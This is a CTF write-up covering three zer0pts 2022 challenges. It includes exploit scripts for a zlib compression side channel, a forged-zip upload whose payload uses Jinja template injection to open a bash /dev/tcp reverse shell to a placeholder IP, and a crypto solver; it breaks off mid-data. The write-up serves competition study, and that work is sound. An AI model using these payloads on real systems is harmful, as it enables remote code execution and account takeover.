🏷️

# Flag Checker

https://blog.cirn09.xyz/2022/03/23/flag-checker/

# Zer0TP

Every time we register a new username, a secret is generated, and we need to guess out the secret by some side channel attack. Notice that we can rename , so the username is one side channel attacking parameter.

Basically, we are presented with a following challenge:

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21  import os import base64 import zlib import hashlib def func(fld_id, username, secret): assert 4 <= len(username) < 50 token = zlib.compress(username + secret)[:8] return hashlib.md5(fld_id.encode() + token).hexdigest() class Chal(object): def __init__(self): self.secret = base64.b64encode(os.urandom(12)) def sample(self, prefix): fld_id = os.urandom(8).hex() username = prefix secret = self.secret return fld_id, func(fld_id, username, secret) 

The crucial part is to craft the username field so that zlib.compress(username + secret)[:8] can be used to leak the info of secret.

By trial and error we can find out that if our username is long enough and has enough entropy, secret will not affect the compression result. We can shrink username char by char and finally we reach a critical point where the compression result is only related to the first char of secret. Then we can have the first char of secret.

The second and third char of secret can be yielded with similar methods, only that we may tweak the username a little (by including the deducted secret prefix).

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52  def solve3(chal): prefix_lib = [b'A'*45, b'AB'*23, b'ABC'*15, b'ABCD' * 11, b'ABCDE'*9, b'ABCDEF'*8, b'ABCDEFG'*7] solved_secret = b'' last_len = 0 while len(solved_secret) < 16: #print('current stage', repr(solved_secret)) if len(solved_secret): prefix_lib = [solved_secret*(45//len(solved_secret))] + prefix_lib for i in range(1, len(solved_secret)): prefix_lib.append(solved_secret[:i]*(45//i)) prefix_lib.append(solved_secret[-i:]*(45//i)) prefix_lib.append(solved_secret[:i][::-1]*(45//i)) prefix_lib.append(solved_secret[-i:][::-1]*(45//i)) # for i in alphabet: # prefix_lib.append(bytes([i]*45)) for i in prefix_lib: for j in range(len(i), 3, -1): username = i[:j] experiments = [zlib.compress( username + solved_secret + bytes([k]*10))[:8] for k in alphabet] # print(j, username, len(set(experiments)), sorted(set(experiments))) if len(set(experiments)) == 64: good_username = username break else: #raise Exception('wtf') #print('the prefix is strange', i, 'at best', len(set(experiments))) continue observe_id, observe_tok = chal.sample(good_username) ans = None for k in alphabet: if func(observe_id, good_username, solved_secret+bytes([k])) == observe_tok: ans = k break else: for k in alphabet: for k2 in alphabet: if func(observe_id, good_username, solved_secret+bytes([k, k2])) == observe_tok: ans = k break if ans is not None: break if ans is not None: #print('credit', i) solved_secret = solved_secret + bytes([ans]) break if len(solved_secret) == last_len: print('stuck at', repr(solved_secret)) break last_len = len(solved_secret) return solved_secret 

The solver naturally entails. However, this solver can only solve the first 3 chars.

And then here comes the hard part. After 4 chars the prefix is long enough that with a username having a minimum length of 4, the later secret[4:] does not easily affect the compression result.

It is now that we learn from zlib RFC documentation along with experimenting!

 1 2 3 4 5 6  >>> zlib.compress(bytes(range(256))).hex()[:16] '789c010001fffe00' >>> zlib.compress(bytes(range(128,256))).hex()[:16] '789c0180007fff80' >>> zlib.compress(bytes(range(32,128))).hex()[:16] '789c535054525651' 

So let us investigate how zlib works.Based on http://www.zlib.org/rfc-zlib.html :

A zlib stream has the following structure:
0 1
+—+—+
|CMF|FLG| (more–>)
+—+—+
(if FLG.FDICT set)
0 1 2 3
+—+—+—+—+
| DICTID | (more–>)
+—+—+—+—+

The first 2 char (78 9c) is CMF+FLG, and it seems constant. Also FLG.FDICT is not set.Then the next char: http://www.zlib.org/rfc-deflate.html

Each block of compressed data begins with 3 header bits containing the following data:
first bit BFINAL
next 2 bits BTYPE
Note that the header bits do not necessarily begin on a byte boundary, since a block does not necessarily occupy an integral number of bytes.
BFINAL is set if and only if this is the last block of the data set.
BTYPE specifies how the data are compressed, as follows:
00 - no compression
01 - compressed with fixed Huffman codes
10 - compressed with dynamic Huffman codes
11 - reserved (error)

BFINAL is 1; BTYPE seems interesting:

 1 2 3 4  >>> zlib.compress(bytes(range(256))).hex()[:16] '789c010001fffe00' >>> zlib.compress(bytes(range(128,256))).hex()[:16] '789c0180007fff80' 

If encrypted data has chars above 0x80 and has no repeated sequences, BTYPE will be 00 so it is “no compression”; however in other case:

 1 2  >>> zlib.compress(bytes(range(32,128))).hex()[:16] '789c535054525651' 

BTYPE is 10 in this case.

After some experimenting we found this:

 1 2 3 4 5 6 7 8  >>> zlib.compress(bytes(range(128,160))+b'abcdefg').hex()[:16] '789c012700d8ff80' >>> zlib.compress(bytes(range(128,160))+b'abcdefga').hex()[:16] '789c012800d7ff80' >>> zlib.compress(bytes(range(128,160))+b'abcdefgab').hex()[:16] '789c012900d6ff80' >>> zlib.compress(bytes(range(128,160))+b'abcdefgabc').hex()[:16] '789c6b686c6a6e69' 

So if we have a prefix with 32 chars above 0x80, then if the other part has two same substrings of length 3 (in this case abc), then compression will be done. This provides an oracle for checking whether our input 3 chars are inside the secret string.
This entails the solution to find out the next char.

def solve(chal):
pref3 = solve3(chal)
solved_secret = pref3
big_prefix = bytes([j+i for i in range(16) for j in (0xd0, 0xb0)])
for idx in range(4, 17):
# we solve for char 4
for i in alphabet:
guessed_tok = func(observe_id, username, bytes(range(65, 65+16)))
if observe_tok != guessed_tok:
solved_secret = solved_secret + bytes([i])
break
else:
break
return solved_secret


Combining the answers and handling IO should be trivial. Here are the final steps:

1、run the crack.py to get the secret of a registered user
2、use the secret to privilege the user, just replace the secret of privilege.py

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158  #crack.py import json import os, base64 import codecs import zlib import hashlib import requests def func(fld_id, username, secret): assert 4 <= len(username) < 50 token = zlib.compress(username + secret)[:8] return hashlib.md5(fld_id.encode() + token).hexdigest() class Chal(object): def __init__(self): self.secret = base64.b64encode(os.urandom(12)) # print(self.secret) def sample(self, prefix): fld_id = os.urandom(8).hex() username = prefix secret = self.secret return fld_id, func(fld_id, username, secret) alphabet = bytearray(b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/') assert len(alphabet) == 64 def solve3(chal): prefix_lib = [b'A' * 45, b'AB' * 23, b'ABC' * 15, b'ABCD' * 11, b'ABCDE' * 9, b'ABCDEF' * 8, b'ABCDEFG' * 7] solved_secret = b'' last_len = 0 flag = 0 lastname = "" while len(solved_secret) < 16: # print('current stage', repr(solved_secret)) if len(solved_secret): prefix_lib = [solved_secret * (45 // len(solved_secret))] + prefix_lib for i in range(1, len(solved_secret)): prefix_lib.append(solved_secret[:i] * (45 // i)) prefix_lib.append(solved_secret[-i:] * (45 // i)) prefix_lib.append(solved_secret[:i][::-1] * (45 // i)) prefix_lib.append(solved_secret[-i:][::-1] * (45 // i)) # for i in alphabet: # prefix_lib.append(bytes([i]*45)) for i in prefix_lib: for j in range(len(i), 3, -1): username = i[:j] experiments = [zlib.compress(username + solved_secret + bytes([k] * 10))[:8] for k in alphabet] # print(j, username, len(set(experiments)), sorted(set(experiments))) if len(set(experiments)) == 64: good_username = username break else: # raise Exception('wtf') # print('the prefix is strange', i, 'at best', len(set(experiments))) continue # observe_id, observe_tok = chal.sample(good_username) if flag == 0: flag, observe_id, observe_tok = registerAndLogin(good_username, flag) else: observe_id, observe_tok = rename(lastname, good_username) lastname = good_username # print(observe_id, observe_tok, good_username) ans = None for k in alphabet: if func(observe_id, good_username, solved_secret + bytes([k])) == observe_tok: ans = k break else: for k in alphabet: for k2 in alphabet: if func(observe_id, good_username, solved_secret + bytes([k, k2])) == observe_tok: ans = k break if ans is not None: break if ans is not None: # print('credit', i) solved_secret = solved_secret + bytes([ans]) break if len(solved_secret) == last_len: print('stuck at', repr(solved_secret)) break last_len = len(solved_secret) return solved_secret, lastname def registerAndLogin(username, flag): register_url = "http://zer0tp.ctf.zer0pts.com:8080/api/register" login_url = "http://zer0tp.ctf.zer0pts.com:8080/api/login" burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36", "Origin": "http://festival.ctf.zer0pts.com:8017", "Referer": "http://festival.ctf.zer0pts.com:8017/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en-GB;q=0.8,en;q=0.7", "Connection": "close"} params = {"username": (None, username), "password": (None, "aaaaaaaaaa")} res = requests.post(register_url, headers=burp0_headers, files=params).text params = {"username": (None, username), "password": (None, "aaaaaaaaaa")} login_res = requests.post(login_url, headers=burp0_headers, files=params).text result = json.loads(login_res) # print(result) return flag+1, result["id"], result["token"] def rename(original, username): try: rename_url = "http://zer0tp.ctf.zer0pts.com:8080/api/rename" login_url = "http://zer0tp.ctf.zer0pts.com:8080/api/login" burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36", "Origin": "http://festival.ctf.zer0pts.com:8017", "Referer": "http://festival.ctf.zer0pts.com:8017/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en-GB;q=0.8,en;q=0.7", "Connection": "close"} params = {"username": (None, original), "new_username": (None, username),"password": (None, "aaaaaaaaaa"),"new_password": (None, "aaaaaaaaaa")} res = requests.post(rename_url, headers=burp0_headers, files=params).text print(res) params = {"username": (None, username), "password": (None, "aaaaaaaaaa")} login_res = requests.post(login_url, headers=burp0_headers, files=params) # print(login_res) result = json.loads(login_res.text) if result["result"] == "error": return rename(original, username) elif login_res.status_code == 502: return rename(original, username) elif result["result"] == "OK": return result["id"], result["token"] except Exception as e: return rename(original, username) pass def solve(chal): pref3, lastname = solve3(chal) solved_secret = pref3 big_prefix = bytes([j + i for i in range(16) for j in (0xd0, 0xb0)]) for idx in range(3, 16): # we solve for char 4 flag = 0 # lastname = "" for i in alphabet: username = big_prefix + ((solved_secret + bytes([i]))[-4:]) # observe_id, observe_tok = chal.sample(username) print("[+]new name:", username) observe_id, observe_tok = rename(lastname, username) lastname = username # print(observe_id, observe_tok) # guessed_tok = func(observe_id, username, solved_secret+bytes([i])) guessed_tok = func(observe_id, username, bytes(range(65, 65 + 16))) if observe_tok != guessed_tok: solved_secret = solved_secret + bytes([i]) break else: break return solved_secret chal = Chal() print(chal.secret) print(solve(chal)) """ print(chal.sample(b'aaa')) print(chal.sample(b'aaa')) print(chal.sample(b'aaa')) """ 
  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58  #privilege.py import requests import json import zlib import hashlib login_url = "http://zer0tp.ctf.zer0pts.com:8080/api/login" set_url = "http://zer0tp.ctf.zer0pts.com:8080/api/set_admin" admin_url = "http://zer0tp.ctf.zer0pts.com:8080/api/is_admin" token_url = "http://demoapp.ctf.zer0pts.com:8077/login" rename_url = "http://zer0tp.ctf.zer0pts.com:8080/api/rename" def rename(original, username): burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36", "Origin": "http://festival.ctf.zer0pts.com:8017", "Referer": "http://festival.ctf.zer0pts.com:8017/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en-GB;q=0.8,en;q=0.7", "Connection": "close"} params = {"username": (None, original), "new_username": (None, username),"password": (None, "aaaaaaaaaa"),"new_password": (None, "aaaaaaaaaa")} res = requests.post(rename_url, headers=burp0_headers, files=params).text params = {"username": (None, username), "password": (None, "aaaaaaaaaa")} login_res = requests.post(login_url, headers=burp0_headers, files=params).text print(login_res) try: result = json.loads(login_res) if result != None: return result["id"], result["token"] print(login_res) except Exception as e: print(login_res) def send(guess): burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36", "Origin": "http://festival.ctf.zer0pts.com:8017", "Referer": "http://festival.ctf.zer0pts.com:8017/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en-GB;q=0.8,en;q=0.7", "Connection": "close"} params = {"username": (None, guess), "password": (None, "aaaaaaaaaa")} rec = requests.post(login_url, headers=burp0_headers, files=params, proxies={"http":"http://localhost:8080"}) print(rec.text) def set_admin(username, secret): burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36", "Origin": "http://festival.ctf.zer0pts.com:8017", "Referer": "http://festival.ctf.zer0pts.com:8017/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en-GB;q=0.8,en;q=0.7", "Connection": "close"} params = {"username": (None, username), "secret": (None, secret), "admin": (None, "1")} rec = requests.post(set_url, headers=burp0_headers, files=params) print(rec.text) def loginASadmin(username, id, token): burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36", "Origin": "http://festival.ctf.zer0pts.com:8017", "Referer": "http://festival.ctf.zer0pts.com:8017/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en-GB;q=0.8,en;q=0.7", "Connection": "close"} params = {"username": (None, username), "id": (None, id), "token": (None, token)} rec = requests.post(token_url, headers=burp0_headers, files=params, proxies={"http":"http://localhost:8080"}) print(rec.text) if __name__ == '__main__': username = b'\xd0\xb0\xd1\xb1\xd2\xb2\xd3\xb3\xd4\xb4\xd5\xb5\xd6\xb6\xd7\xb7\xd8\xb8\xd9\xb9\xda\xba\xdb\xbb\xdc\xbc\xdd\xbd\xde\xbe\xdf\xbflozz' newusername = "hpdoger" secret = "v5COD1iRPu3Elozz" req_id = "ab70ec559f2f82b9" send(username) rename(username, newusername) set_admin("hpdoger", secret) token = zlib.compress(newusername.encode() + secret.encode())[:8] # print(token.decode()) req_token = hashlib.md5(req_id.encode() + token).hexdigest() loginASadmin(newusername, req_id, req_token) 

# miniblog#

After reading the source code of python’s zipfile, I noticed zipfile will try to find zip archives’ End of central directory record in the first. Then it will try to parse zip archive based on the information it previously found in the End of central directory record. This parsing method makes zipfile have the ability to extract zip archive, even if there is redundant data before or after the actual data.

Now look at the source code of exporting posts. Be aware the username is controllable by us.

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16  def export_posts(self, username, passhash): """Export all blog posts with encryption and signature""" buf = io.BytesIO() with zipfile.ZipFile(buf, 'a', zipfile.ZIP_DEFLATED) as z: # Archive blog posts for path in glob.glob(f'{self.workdir}/*.json'): z.write(path) # Add signature so that anyone else cannot import this backup z.comment = f'SIGNATURE:{username}:{passhash}'.encode() # Encrypt archive so that anyone else cannot read the contents buf.seek(0) #iv = os.urandom(16) #cipher = AES.new(app.encryption_key, AES.MODE_CFB, iv) #encbuf = iv + cipher.encrypt(buf.read()) return None, base64.b64encode(buf.read()).decode() 

It means we can insert our zip archive at the comment and zipfile will parse the archive we insert but the original one.

But there have an encoding problem which the username is read as string and UTF-8 will encode unicode code points bigger than 0x7f to multiple bytes.

  1 2 3 4 5 6 7 8 9 10 11 12 13  @app.route('/api/login', methods=['POST']) def api_login(): try: data = json.loads(flask.request.data) assert isinstance(data['username'], str) assert isinstance(data['password'], str) except: return flask.abort(400, "Invalid request") flask.session['username'] = data['username'] flask.session['passhash'] = hashlib.md5(data['password'].encode()).hexdigest() flask.session['workdir'] = os.urandom(16).hex() return flask.jsonify({'result': 'OK'}) 

Luckily, the problem can be solved if we simply don’t use any byte bigger than 0x7f.

We can “compress” an uncompressed zip by using compresslevel=0 and exhaustive search a payload to make sure its CRC don’t contain any byte bigger than 0x7f.

  1 2 3 4 5 6 7 8 9 10 11 12  import base64 import importlib import zipfile import zlib import string import itertools import sys f = zipfile.ZipFile('poc.zip', 'w') f.write('payload.json', 'post/d388238d29d499cdbfb912bb67711c5a/xxx.json', compress_type=zipfile.ZIP_STORED, compresslevel=0) f.comment = b'SIGNATURE:rmb122:a3dcb4d229de6fde0db5686dee47145d' 
  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28  import base64 import importlib import zipfile import zlib import string import itertools import sys def valid_crc(i: str) -> bool: x = hex(zlib.crc32(i.encode()))[2:] x = x.rjust(len(x) + len(x) % 2, '0') crc = bytes.fromhex(x) if all([i <= 0x7f for i in crc]): print(i) return True else: return False table = string.ascii_letters payload = '''{"title": "asasdasd", "id": "asasdasd", "date": "2022/03/19 02:44:25", "author": "rmb122", "content": "11111111111111111111111111111111111111111111111111%s {{\\n''.__class__.__mro__[1].__subclasses__()[220](['bash','-c','bash -i >& /dev/tcp/your_ip/19132 0>&1'])\\n}} 11"}''' curr = '' for length in range(100): for s in itertools.combinations_with_replacement(table, length): tmp = ''.join(s) if valid_crc(payload % tmp): sys.exit(0) 

The remaining bytes bigger than 0x7f can be overridden with 0x00 since they are unnecessary attributes like file create time.

Now we can register another user and use the zip archive we forged as username. After exporting the database from the user who registers with malicious username and importing the database to the original user, the payload is written into the workdir and ready to exploit.

# OK

 1 2 3 4 5 6 7  v = int(input("v: ")) k1 = pow(v - x1, d, n) k2 = pow(v - x2, d, n) print("c1 = {}".format((k1 + key) % n)) print("c2 = {}".format((k2 + ciphertext) % n)) 

We can easily observe that, if we set
$$v \equiv \frac{x_1 + x_2}{2}$$, then $$k_1+k_2\equiv 0$$, so $$c_1+c_2\equiv \text{key} + \text{ciphertext} \equiv \text{key} + (\text{key} \oplus \text{secret})$$, where secret := pow(flag, e, P).

Here we naturally ask the question: if we collect enough $$x + (x \oplus s)$$, can we recover s? The answer seems to be yes. By intuition we can find out, for each digit i, if s[i] is 1, then it only contributes 1 in this digit; otherwise in this digit it can contribute 0 or 2.

This intuition extends naturally for several digits.

  1 2 3 4 5 6 7 8 9 10 11 12  def calc_distribution(k=4): # b = x + (x^a) # first dim: value of a # second dim: distribution of b dist = [{} for i in range(1 << k)] for a in range(1 << k): for x in range(1 << k): for c in range(2): # carry view1 = (x+(x ^ a)+c) & ((1 << k)-1) dist[a].setdefault(view1, 0) dist[a][view1] += 1 return dist 
  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18  >>> for i in calc_distribution(4): print(i) ... {0: 2, 1: 2, 2: 2, 3: 2, 4: 2, 5: 2, 6: 2, 7: 2, 8: 2, 9: 2, 10: 2, 11: 2, 12: 2, 13: 2, 14: 2, 15: 2} {1: 4, 2: 4, 5: 4, 6: 4, 9: 4, 10: 4, 13: 4, 14: 4} {2: 4, 3: 4, 4: 4, 5: 4, 10: 4, 11: 4, 12: 4, 13: 4} {3: 8, 4: 8, 11: 8, 12: 8} {4: 4, 5: 4, 6: 4, 7: 4, 8: 4, 9: 4, 10: 4, 11: 4} {5: 8, 6: 8, 9: 8, 10: 8} {6: 8, 7: 8, 8: 8, 9: 8} {7: 16, 8: 16} {8: 2, 9: 2, 10: 2, 11: 2, 12: 2, 13: 2, 14: 2, 15: 2, 0: 2, 1: 2, 2: 2, 3: 2, 4: 2, 5: 2, 6: 2, 7: 2} {9: 4, 10: 4, 13: 4, 14: 4, 1: 4, 2: 4, 5: 4, 6: 4} {10: 4, 11: 4, 12: 4, 13: 4, 2: 4, 3: 4, 4: 4, 5: 4} {11: 8, 12: 8, 3: 8, 4: 8} {12: 4, 13: 4, 14: 4, 15: 4, 0: 4, 1: 4, 2: 4, 3: 4} {13: 8, 14: 8, 1: 8, 2: 8} {14: 8, 15: 8, 0: 8, 1: 8} {15: 16, 0: 16} 

By experimenting we find out that, the more “1” digits the s have, the more likely the result is restricted to a small subset of numbers. So for a bit interval, we can count its statistics and easily find out what values of s are impossible to be here - for example, if we see a 14 appear in one of our samples, then this part in s cannot be 15 since 15 in s must entail either 15 or 0 here.

We can expect that as long as we have collected enough $$x + (x \oplus s)$$, we can recover s. However, the case is different in this challenge, where we have $$[x + (x \oplus s)] \text{ mod } N$$. Actually it is no different. We can guess the LSB of s. If we believe that the LSB for s is 0, then we will add N to all samples whose LSB is 1; if we believe that the LSB for s is 1, the same ways around. Therefore, we have divided the problem in this challenge into 2 sub-problems of $$x + (x \oplus s)$$.

Now finally we handle the $$x + (x \oplus s)$$. Here I did not investigate the gory detail of a perfect algorithm, and only used a heuristic way of determining the answer. For each bit of s, I look ahead 12 bits of samples and find the largest number that satisfy all the samples, and I take the LSB of the number to be the corresponding digit of s. The proof of concept is as follows:

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64  import random random.seed(42) class Chal(object): def __init__(self): self.secret = random.randint(2**32, 2**999) def sample(self): N = random.randint(2**1023, 2**1024) | 1 x = random.randint(2**32, N-99999) return (x+(x ^ self.secret)) % N, N def calc_distribution(k=4): # b = x + (x^a) # first dim: value of a # second dim: distribution of b dist = [{} for i in range(1 << k)] for a in range(1 << k): for x in range(1 << k): for c in range(2): view1 = (x+(x ^ a)+c) & ((1 << k)-1) dist[a].setdefault(view1, 0) dist[a][view1] += 1 return dist NN = 64 KK = 12 dist = calc_distribution(KK) def slide_window(samples, pos, width): return set([(i >> pos) & ((1 << width)-1) for i in samples]) def solve(chal): samples = [chal.sample() for i in range(NN)] sample1 = [i if i & 1 else i+N for i, N in samples] sample0 = [i if not i & 1 else i+N for i, N in samples] return solve_uni(sample0), solve_uni(sample1) def solve_uni(samples): guess = 0 step = 1 width = KK for i in range(1005//step): window = slide_window(samples, i*step, width) x = max([i for i in range(len(dist)) if all(j in dist[i] for j in window)]) guess |= (x & ((1 << step)-1)) << (i*step) return guess chal = Chal() print(hex(chal.secret)) sv = solve(chal) print(hex(sv[0])) print(hex(sv[1])) print(hex(sv[0] ^ chal.secret)) print(hex(sv[1] ^ chal.secret)) 

I am surprised to find out that NN=64 is enough to deduce s without error most of the time; NN=16 even seems to work.

Here is the final exp:

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73  #!/usr/bin/env python3 from pwn import * from Crypto.Util.number import inverse, isPrime, long_to_bytes P = 2 ** 1000 - 1 while not isPrime(P): P -= 2 IP = b"crypto.ctf.zer0pts.com" PORT = 10333 ''' num = 16 def get_sample(io): _, n, _, x1, x2 = [int(io.recvline().strip().split(b' = ')[1]) for _ in range(5)] v = ((x1 + x2) * inverse(2, n)) % n io.sendlineafter(b"v:", str(v).encode()) c1, c2 = [int(io.recvline().strip().split(b' = ')[1]) for _ in range(2)] return ((c1 + c2) % n, n) def collect_samples(num): samples = [] for _ in range(num): io = remote(IP, PORT) samples.append(get_sample(io)) io.close() return samples samples = collect_samples(num) print(samples) [(53536597532072001987953947618348278754627989400141287390121235069154684901151037785859748979184936316373631831902809146296283677943962597534604255525506249461823500337285379914808964474967526592872056505342589956015812932016802878587968868709680902283391534727308782525444356458981946446499414654860284614520, 81532346990774035744149246687093739233563562488458025862353616811236592929927520013119734668192646961533496238336005840784718084030439712537516379227930454525398092222002748924190455613561037274262352611931228672169210405437515592633513976475385326451752928613223415909527061004459451687447536250438229313069), (66386312979313505149678133618856326319144553867702702385459153922747133031832397726785477639639118882220170181625651486209470420966794432855675760314140012404627473371964709165160895356332613716904862259760517220361299732389620364471023261156059281453710486335747739945414679129863018461429414603001697857446, 85261174871158793253251170096511329507950686012074175900297285932651459506466746833163233092110500260549112493891581801968326642820433154669204159233728445782735602091499081907681369237358292009672666790493125251265942836555505937199247016288696624486907900686233350997519714072921767900692658314341012697759), (82855910653571630421199586924290064641069898105009142491744415247047599925885867039675967433720877808837246893311086073625722335037176224944857408250783926787144552596936522944040355322283616854035345559542320221492782450762163375201132232198068564031292204827087344481753790175496844488214113399995621073845, 175296969798299274968012557170786092368204173509397227075563908445145281198388897932364983269564267700333186289328071508577281037265568594514552605443434849991432746122699895626574443768655211328254129356662362506444040888980557759944656814565739883517030509048164654789764265904377468502220390524717144235377), (67917841804732892981689897447067140250243688025894008707908785067903516730398892671208420467083015889709569161380034225841358061202903976101599885558281852732919925626113564403638386068192561694670751983174125962185889319180209997089150558713993053147437431514377524625946266322586240693521822157166913253252, 88945357251734933212352813578204370187949945474353763777144766387399403591004152716280959974027281030278966278660429855453466282481306531535008696456716849750359105560256589689405438426151043540639002283687324388798663877159884907300822253960925023688296255695337838887696136134077868905004005388733761580373), (9918102878229228388874703456709588349378129769200711367564918198958852463645060076822096286250103595406606762580385796743618856746481962289054262516759351728219898056054817253724902960895874747322046895326594875565470960140720807985078294650630937681577127061805103991591163481821481426681271204599230185380, 82826113536597745438466005687363774762514680698836237724434795687170677475999743373776958888324279961192900092635793403736543957087705717570584175426488425111499259180875471482211050794545424119388095632420668163381967137097789818040239897003474370113845568028535258944393437759425034717567600281696518871953), (38647603252527852986056757841524867125798897767982344531034814112894042422125890184740916374018986718308171159051726360766848509497563357986388009443288662663268816790699597542637089823398187381224886625292002476565982624482518341777098829293273611491271659781482529095516878330486493753850170264157589438416, 138476228446422586892776260074260849572691619458178888868254473908612520961319842298125975058855978296637345917187724904228605323458967308867483788442088221235878971910361103233086723179579222334058587679030246864138858393651841053946357488958447272497502288654198747265098818037897999131898889586542009950937), (12922793948371249596333839961495120188622006030071522465751878338793053410381612720446171918966667244493291904157802808744874379813003419660789753533345449527388070542963892747439687198664780515313515490945084035984866758354437223206582784772935582049082136715363859748337920403307640846903361021833332273246, 85070989668988318423769076350243749988573922135666558027845497016513511561825772224196335654464772069139283864144466116283948223181426411410690126065180704586874374578437305232415505990631813624180673373180769230119586952253097647501637943006674898068390698652697457330445914017080754067381195969202597654983), (51701453524123685823853237186189368497038297467549719028646687238972549222635628300375346182909664168258392686785026606591555924060936676672346368867560301435038900425899745463394600756485508100552827527922944186849834413179778459676140968494956421892026812687339321993763142060591336096874050090911999068980, 97499580437621235504955638537998177847885171111473693129301729724019726521644187005991238134209149047737502657226546329139736509043052126109113900842163120009252934655129552383127561287458225200533709765229189716376647572182692671878024320843749631341196992905049046275148981868487961104620760469703638931489), (63606056396031463747097593535358131813024723886573785223005230849871488541276385046641768753948733395454300850482855956945502304269996451557538283723998735144021373054820713745434677676831159882841293589885728873727593790166950687563427703302352421956683736286610883874569904871870018352042627786917388299036, 108338653083931371897153187094147035434160799810403104262313137502934110697881106000854750513971052821128355676671449777371457425855343449915488021688758234224358850561938249501868133216361775461258227925887527432901207288890232471732957188104262220713360962297927064953781035643825292899945120843589631670301), (61882351593000421073469028566205790661324055525768790116189817078842441754516769353741833078931220847679953006428418186322789756287281510624875607231660308780385681740327424534040370249270052649400732163625677325049975010796407196280403531462149224024265856670664923794235397963894480618288468315379715003470, 157173285756570107035567394879810114583855676263259883686462144635173379207504457425375137887660165209809094378196183223607716498100505448415719652503280182500288623917412333422439070924223028206016178538058867209887547287223819355822568724894475264193868180911244589267762917665209170118610047883715809265243), (18104666867760850446309860325586065982793938536636445550682886250279280490370489197473982640922834049465916688344408877409039725813152420731350562922947830970511215888675435524487080966121102426974997257627731487442056273967049258672906784950284574417578718984715097114739309173203179505890098315062855981657, 72560161702945573305264278661605157695604768546718301219730355394601875967172019497529510492875524283116947485319724522818156001311755873210626008662510363339536254059189610235032697014226792775159218385534173187842551461291551313912334924879273962435090667312489814378126284305604886992451007885865591780893), (53357724543145768207676668187683058033403406759871687094086725379179160441518786386196523812535796962665272643877829554631905985202478863136292737945895675365558138784310577831880661842974697744594435125909840765288412146607409352428426678455043366326279655738194079965352177411281261596026566035674725735721, 59893212362815907532405947087025784708085266116769057039898147354412925044090153220989042284103404325854687552680012599928332894513456335262880534826337590163838342930824227485064719377091898309302249571067022332968710892445831379772706779065168876516673217263162588898769219718041828688140363769348530713353), (79929903390821367692644953497965456334197200271514348086515671944822306923569389587479278056502064631912551436400038874796089912525859807306028845613675345738316809974393210161335214317317282547424054232420491101188156464876387880719760762503395188783671020161716719019778279586253762103638437939434249381790, 89857961139816757150008815703465681491823059483772115999436833507289874036892061810214015243642525942721901926860851073361846506782557434229802427653862140158941076502840928350267010916993713024528623753675318913255586773545044379200763238273413176817483189541866246342916249955844389812223944865886002984471), (21505582821466200004550013870876525104143447421072525389743751465049894741375581789195097314490198664535226894031552067088637007426445474357150470112902853872292536744022315506584191004779933645154467378082672903973853201180861916991685506552696921837519444835296679259733857836846281378905045037595828160550, 150737832454836838500326536775308771471444851443044830208569933261898479542661796708651643441499189533372883845870769555298280270795638583554823227035816127645191805608376457068032602851025568793255778257480661288339657259055699804926183278881555271631550739092203684549531599188818907975580545140214797851939), 